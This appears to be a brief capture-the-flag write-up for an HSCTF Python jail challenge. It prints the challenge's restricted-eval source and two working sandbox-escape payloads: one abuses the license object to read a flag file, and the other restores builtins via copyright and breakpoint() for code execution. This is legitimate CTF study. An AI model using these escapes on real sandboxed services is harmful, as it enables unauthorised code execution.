hsctf

mysol

type(license)(None,None,(input(),),(input(),))()

then input these:
flag
.

see https://github.com/python/cpython/blob/4c496f1f115a7910d4606b4de233d14874c77bfa/Lib/_sitebuiltins.py#L29-L85

pass-v2.py

#!/usr/bin/env python3
import string

def main():
	allowed_chars = string.ascii_letters + string.digits + ",!+-/@&|~^<>(){}"
	allowed_globals = vars(__builtins__).copy()
	for var in (
		"getattr", "eval", "exec", "__import__", "open", "__builtins__", "__build_class__",
		"__loader__", "__spec__"
	):
		allowed_globals[var] = None
	
	print("Python as a Service:")
	print("Execute arbitrary Python code (with certain restrictions)")
	while True:
		try:
			s = input("> ")
		except (EOFError, KeyboardInterrupt):
			exit()
		if not s:
			continue
		if any(c not in allowed_chars for c in s):
			print("Illegal characters")
			continue
		try:
			print(eval(s, allowed_globals))
		except Exception as e:
			print(e)

if __name__ == "__main__":
	main()

rcesol

setattr(copyright,'__dict__',globals()),delattr(copyright,'__builtins__')

replace string with input(), then

breakpoint()

it think this works because it is first remove `__builtins__` from global dict, so it is same as not blocking anything builtins on next exec call